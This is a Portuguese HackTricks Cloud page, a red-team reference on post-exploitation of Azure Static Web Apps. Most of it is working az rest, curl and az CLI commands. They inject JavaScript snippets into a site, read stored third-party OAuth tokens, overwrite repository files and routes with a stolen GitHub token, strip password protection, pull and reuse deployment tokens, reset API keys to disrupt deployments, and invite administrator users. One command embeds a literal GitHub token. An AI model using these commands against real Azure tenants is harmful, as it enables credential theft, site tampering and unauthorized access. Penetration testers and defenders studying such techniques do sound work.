Az - Static Web Apps Post Exploitation
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Azure Static Web Apps
Para mais informações sobre este serviço, consulte:
Microsoft.Web/staticSites/snippets/write
É possível fazer uma página estática carregar código HTML arbitrário criando um snippet. Isso pode permitir que um atacante injete código JS dentro da aplicação web e roube informações sensíveis, como credenciais ou chaves mnemônicas (em web3 wallets).
O comando a seguir cria um snippet que sempre será carregado pela aplicação web::
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
Ler credenciais de terceiros configuradas
Como explicado na seção App Service:
Executando o comando a seguir é possível ler as credenciais de terceiros configuradas na conta atual. Note que, por exemplo, se algumas credenciais do Github estiverem configuradas em um usuário diferente, você não conseguirá acessar o token a partir de outro usuário.
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
Este comando retorna tokens para Github, Bitbucket, Dropbox e OneDrive.
Aqui estão alguns exemplos de comandos para verificar os tokens:
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
Sobrescrever arquivo - Sobrescrever rotas, HTML, JS…
É possível sobrescrever um arquivo dentro do repositório Github que contém a app por meio do Azure possuindo o Github token, enviando uma requisição como a seguinte que indicará o caminho do arquivo a ser sobrescrito, o conteúdo do arquivo e a mensagem do commit.
Isto pode ser abusado por atacantes para, basicamente, alterar o conteúdo da aplicação web para servir conteúdo malicioso (roubar credenciais, chaves mnemônicas…) ou simplesmente redirecionar certos caminhos para os seus próprios servidores sobrescrevendo o arquivo staticwebapp.config.json.
Warning
Observe que, se um atacante conseguir comprometer o repositório Github de qualquer forma, ele também poderá sobrescrever o arquivo diretamente pelo Github.
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
Microsoft.Web/staticSites/config/write
Com essa permissão, é possível modificar a senha que protege um aplicativo web estático ou até desproteger todos os ambientes enviando uma requisição como a seguinte:
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
Microsoft.Web/staticSites/listSecrets/action
Esta permissão permite obter o API key deployment token da aplicação estática.
Usando az rest:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
Usando AzCLI:
az staticwebapp secrets list --name <appname> --resource-group <RG>
Então, para atualizar um app usando o token você pode executar o comando a seguir. Note que este comando foi extraído verificando como o GitHub Action https://github.com/Azure/static-web-apps-deploy funciona, já que é o que a Azure definiu por padrão para usar. Portanto a imagem e parâmetros podem mudar no futuro.
Tip
Para implantar o app você pode usar a ferramenta
swade https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token ou seguir os passos a seguir:
- Baixe o repositório https://github.com/staticwebdev/react-basic (ou qualquer outro repo que você queira implantar) e execute
cd react-basic. - Altere o código que você deseja implantar
- Faça o deploy executando (lembre-se de alterar o
<api-token>):
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
Warning
Mesmo que você tenha o token, não será possível fazer o deploy da app se a Deployment Authorization Policy estiver definida como Github. Para usar o token você precisará da permissão
Microsoft.Web/staticSites/writepara alterar o método de deployment e usar o token da API.
Microsoft.Web/staticSites/write
Com essa permissão é possível alterar a origem da static web app para um repositório Github diferente, no entanto, ela não será provisionada automaticamente, pois isso deve ser feito por uma Github Action.
No entanto, se a Deployment Authorization Policy estiver definida como Github, é possível atualizar a app a partir do novo repositório de origem!.
Caso a Deployment Authorization Policy não esteja definida como Github, você pode alterá-la com a mesma permissão Microsoft.Web/staticSites/write.
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
# Update the deployment method to Github
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'
Exemplo de Github Action para implantar o app:
name: Azure Static Web Apps CI/CD
on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main
jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######
close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"
Microsoft.Web/staticSites/resetapikey/action
Com essa permissão é possível redefinir a API key do static web app, potencialmente DoSing os workflows que implantam o app automaticamente.
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
Microsoft.Web/staticSites/createUserInvitation/action
Esta permissão permite criar um convite para um usuário para acessar caminhos protegidos dentro de uma static web app com um papel específico dado.
O login está localizado em um caminho como /.auth/login/github para github ou /.auth/login/aad para Entra ID e um usuário pode ser convidado com o seguinte comando:
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app
Pull Requests
Por padrão Pull Requests de um branch no mesmo repo serão automaticamente compilados e buildados em um ambiente de staging. Isso poderia ser explorado por um atacante com acesso de escrita no repositório mas sem conseguir contornar as proteções de branch do ramo de produção (normalmente main) para implantar uma versão maliciosa do app na URL de staging.
A staging URL tem este formato: https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain> como: https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net
Tip
Note que por padrão PRs externas não executarão workflows a menos que tenham mesclado pelo menos 1 PR no repositório. Um atacante poderia enviar um PR válido para o repo e então enviar um PR malicioso para o repo para implantar o app malicioso no ambiente de staging. NO ENTANTO, existe uma proteção inesperada: a Github Action padrão para fazer o deploy na static web app precisa de acesso ao secret contendo o deployment token (como
secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F) mesmo se o deploy for feito com o IDToken. Isso significa que, como um PR externo não terá acesso a esse secret e um PR externo não pode alterar o Workflow para colocar aqui um token arbitrário sem que um PR seja aceito, esse ataque não vai realmente funcionar.
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud

